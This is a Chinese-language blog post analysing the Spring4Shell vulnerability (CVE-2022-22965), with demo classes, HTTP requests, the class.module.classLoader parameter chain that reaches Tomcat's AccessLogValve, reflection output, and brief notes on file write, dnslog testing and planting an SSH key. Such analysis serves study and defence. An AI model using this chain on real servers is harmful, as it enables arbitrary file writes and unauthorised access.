Spring rce CVE-2022-22965
原理大致是这样:spring框架在传参的时候会与对应实体类自动参数绑定,通过“.”还可以访问对应实体类的引用类型变量。使用getClass方法,通过反射机制最终获取tomcat的日志配置成员属性,通过set方法,修改目录、内容等属性成员,达到任意文件写入的目的。
环境:
jdk9、springmvc、tomcat8
一、先看下传参:
定义2个实体类
public class User {
private String username;
private String password;
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public SubTest getSub(){
return new SubTest();
}
}
public class SubTest {
public void setsubfunction(String s){
System.out.println("=====");
System.out.println(s);
System.out.println("=====");
}
}
定义一个Controller类
@RestController
public class HelloController {
@RequestMapping("/rce")
@ResponseBody
public String helloTest(User user) throws IOException {
System.out.println(user.getPassword());
System.out.println(user.getUsername());
return "hello spring : ";
}
}
不管是GET还是POST,只要是Controller接受的方式都可以传参赋值。
利用POST方式,传参
POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 15 username=vpanda
这里username=vpanda的传参,调用了User的setUsername方法。
POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 25 sub.subfunction=aaaaatest
这里sub.subfunction=aaaaatest,实际调用User的getSub方法,获得SubTest对象后实现setsubfunction方法,传参aaaaatest,最终实现SubTest类型的setsubfunction。
输出
=====
aaaaatest
=====
二、接下去直接看POC的利用链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
class.module.classLoader.resources.context.parent.pipeline.first.directory=
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
在这里的实现逻辑是当前user对象getclass获得了类对象,Class类中存在getModule,获得module类对象,而Module类又存在getclassloader方法,最终返回一个类加载器。

调试输出当前类加载器名称
ClassLoader classLoader = user.getClass().getModule().getClassLoader();
System.out.println("===classloader===");
System.out.println(classLoader);
System.out.println("===classloadername===");
System.out.println(classLoader.getClass().getName());
System.out.println("========");
===classloader===
ParallelWebappClassLoader
context: ROOT
delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@1b7cc17c ===classloadername===
org.apache.catalina.loader.ParallelWebappClassLoader
========
通过输出结果可以看到当前对象的类加载器是org.apache.catalina.loader.ParallelWebappClassLoader,
ParallelWebappClassLoader继承WebappClassLoaderBase,WebappClassLoaderBase实现了getResources是WebResourceRoot接口类型,
WebResourceRoot接口存在getContext方法,Context接口类型,继承Container,Container实现parent和getPipeline,Pipeline接口实现getfirst,
最终得到Valve类型,通过类对象遍历所有成员。
Valve first = parallelWebappClassLoader.getResources().getContext().getParent().getPipeline().getFirst();
Class<? extends Valve> aClass = first.getClass();
System.out.println("====DeclaredFields=====");
Field[] fields = aClass.getDeclaredFields();
for (Field field : fields) {
System.out.println(field);
}
System.out.println("====Methods=====");
Method[] methods = aClass.getMethods();
for (Method method : methods) {
System.out.println(method);
}
输出结果,可以看到利用链中几个关键成员的set方法。
====DeclaredFields=====
private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log
private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp
private java.lang.String org.apache.catalina.valves.AccessLogValve.directory
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix
protected boolean org.apache.catalina.valves.AccessLogValve.rotatable
protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate
private boolean org.apache.catalina.valves.AccessLogValve.buffered
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.suffix
protected java.io.PrintWriter org.apache.catalina.valves.AccessLogValve.writer
protected java.text.SimpleDateFormat org.apache.catalina.valves.AccessLogValve.fileDateFormatter
protected java.io.File org.apache.catalina.valves.AccessLogValve.currentLogFile
private volatile long org.apache.catalina.valves.AccessLogValve.rotationLastChecked
private boolean org.apache.catalina.valves.AccessLogValve.checkExists
protected java.lang.String org.apache.catalina.valves.AccessLogValve.fileDateFormat
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.encoding
private int org.apache.catalina.valves.AccessLogValve.maxDays
private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs
====Methods=====
public void org.apache.catalina.valves.AccessLogValve.log(java.io.CharArrayWriter)
public synchronized boolean org.apache.catalina.valves.AccessLogValve.rotate(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.rotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding()
public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory()
public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean)
public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String)
public boolean org.apache.catalina.valves.AccessLogValve.isRotatable()
public int org.apache.catalina.valves.AccessLogValve.getMaxDays()
public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int)
public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix()
public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean)
public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isBuffered()
public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String)
public synchronized void org.apache.catalina.valves.AccessLogValve.backgroundProcess()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix()
public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.invoke(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response) throws java.io.IOException,javax.servlet.ServletException
public void org.apache.catalina.valves.AbstractAccessLogValve.log(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response,long)
public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize()
public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int)
public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale()
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition()
public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless()
public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled()
public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean)
public java.lang.String org.apache.catalina.valves.ValveBase.toString()
public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext()
public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve)
public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties()
public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container)
public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal()
public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer()
public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported()
public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean)
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName()
public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain()
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.preRegister(javax.management.MBeanServer,javax.management.ObjectName) throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postRegister(java.lang.Boolean)
public final void org.apache.catalina.util.LifecycleMBeanBase.preDeregister() throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postDeregister()
public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String)
public final synchronized void org.apache.catalina.util.LifecycleBase.init() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.start() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.stop() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.destroy() throws org.apache.catalina.LifecycleException
public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState()
public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName()
public void org.apache.catalina.util.LifecycleBase.addLifecycleListener(org.apache.catalina.LifecycleListener)
public void org.apache.catalina.util.LifecycleBase.removeLifecycleListener(org.apache.catalina.LifecycleListener)
public org.apache.catalina.LifecycleListener[] org.apache.catalina.util.LifecycleBase.findLifecycleListeners()
public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure()
public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean)
public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException
public final void java.lang.Object.wait() throws java.lang.InterruptedException
public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException
public boolean java.lang.Object.equals(java.lang.Object)
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()
三、复现
在本地测试实现任意文件写入

将war包传到服务器,dnslog测试

如果使用root权限拉起了tomcat,尝试将ssh公钥写入服务器。

Spring rce CVE-2022-22965的更多相关文章
- Spring官宣网传大漏洞,并提供解决方案
Spring沦陷了!这样的标题这几天是不是看腻了?然而,仔细看看都是拿着之前的几个毫不相干的CVE来大吹特吹.所以,昨天发了一篇关于最近网传的Spring大漏洞的文章,聊了聊这些让人迷惑的营销文.以及 ...
- Intellij IDEA 2022 正式发布,这些功能真不错
Intellij IDEA 2022 正式发布了,作为正版用户,胖哥赶紧更新了一波,好家伙!这几个功能确实很香啊.新版更新的东西真不少,不愧是一个大版本更新. 依赖分析 IDEA的依赖检查.依赖冲突解 ...
- Spring 官宣发布 Spring Boot 3.0 第一个里程碑 M1,从 Java 8 提升到 Java 17!
Spring官方于2022年1月20日发布Spring Boot 3.0.0-M1版本,预示开启了Spring Boot 3.0的里程碑,相信这是通往下一代Spring框架的激动人心的旅程. 接下来一 ...
- Spring 6 源码编译和高效阅读源码技巧分享
一. 前言 Spring Boot 3 RELEASE版本于 2022年11月24日 正式发布,相信已经有不少同学开始准备新版本的学习了,不过目前还不建议在实际项目中做升级,毕竟还有很多框架和中间件没 ...
- Apache Dubbo 官方正式发布 Spring 6 & Spring Boot 3 支持
Dubbo 简介 Apache Dubbo 是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题,官方提供了 Java.Golang 等多语言 SDK 实现.使用 Dubbo 开发的 ...
- Spring4Shell的漏洞原理分析
Spring框架最新的PoC 这两天出来的一个RCE漏洞,但是有以下的条件限制才行: 必须是jdk9及以上 必须是部署在tomcat的应用 是springmvc的或者webflux的应用 具体的可以查 ...
- 警惕!Python 中少为人知的 10 个安全陷阱!
作者:Dennis Brinkrolf 译者:豌豆花下猫@Python猫 原题:10 Unknown Security Pitfalls for Python 英文:https://blog.sona ...
- SpringBoot3正式版将于11月24日发布:都有哪些新特性?
从 2018 年 2 月 28 号发布 Spring Boot 2.0 版本开始,整个 2.X 版本已经经过了 4 年多的时间,累计发布了 95 个不同的版本,而就在前不久,2.X 系列的也已经迎来了 ...
- 是时候考虑升级 JDK 17 了
Spring,作为 Java EE 的事实规范,在2022年11月16日发布了最新的 6.0.0 GA 版本.这个版本是框架后续新生代的初始版本,拥抱持续创新的 OpenJDK 和 Java 生态.新 ...
- Nacos详解
Nacos是什么 欢迎来到Nocos的世界! 组成部分 全称 描述 Na naming/nameServer 即服务注册中心,与 Spring Cloud Eureka 的功能类似. co confi ...
随机推荐
- [转帖]Oracle 如何列出正在运行的定时任务
https://geek-docs.com/oracle/oracle-questions/569_oracle_how_can_i_list_the_scheduled_jobs_running_i ...
- [转帖]一文读懂 | 如何快速部署 OceanBase 开源版
2021-11-281398 版权 本文涉及的产品 云数据库 RDS MySQL Serverless,0.5-2RCU 50GB 推荐场景: 学生管理系统数据库设计搭建个人博客 立即试用 云防火墙, ...
- [转帖]Python基础之判断和循环(三)
https://www.jianshu.com/p/5a7552821c63 一.判断 关于判断,跟字面意思一样,就是判断某一个时刻应不应该做某件事: 语法: if 判断条件: 执行语句-- else ...
- F5内核参数的简要学习
前言 最近学习了很长时间的Linux内核参数 但是大部分是纸上谈兵. 也没有一个好的系统用于学习和参照 晚上搜索F5资料时发现F5有一些iso和ova文件 就想着下载学习一下. 看看F5系统默认的参数 ...
- Docker 安装Oracle12c的镜像修改字符集 并且进行启动的简单过程
学习来自 昨天晚上转帖的文章 这里面添加一些自己的内容 首先获取配置文件 git clone https://github.com/oracle/docker-images.git 获取之后比较容易了 ...
- OpenPower服务使用node-exporter prometheus以及grafana进行性能监控的流程
OpenPower服务器性能监控操作流程 1. 前言 最近看了很多prometheus以及influxdb进行性能监控的帖子,简单学习了下influxdb是一个单纯的时序数据库,prometheus是 ...
- 除了Adobe之外,还有什么方法可以将Excel转为PDF?
前言 Java是一种广泛使用的编程语言,它在企业级应用开发中发挥着重要作用.而在实际的开发过程中,我们常常需要处理各种数据格式转换的需求.今天小编为大家介绍下如何使用葡萄城公司的的Java API 组 ...
- 【码农教程】手把手教你学会Mockito使用
作者:京东零售 秦浩然 一.前期准备- 1.准备工作 <!--mockito依赖--> <dependency> <groupId>org.mockito</ ...
- vue过滤器(filter)的使用
过滤器分全局过滤器和局部过滤器 <div id="app"> <p>电脑价格:{{price | addPriceIcon}}</p> < ...
- docker上部署启动RabbitMQ
在docker上部署启动RabbitMQ及使用 一.docker上部署启动RabbitMQ 1.查询rabbitmq镜像 docker search rabbitmq:management 2.拉取r ...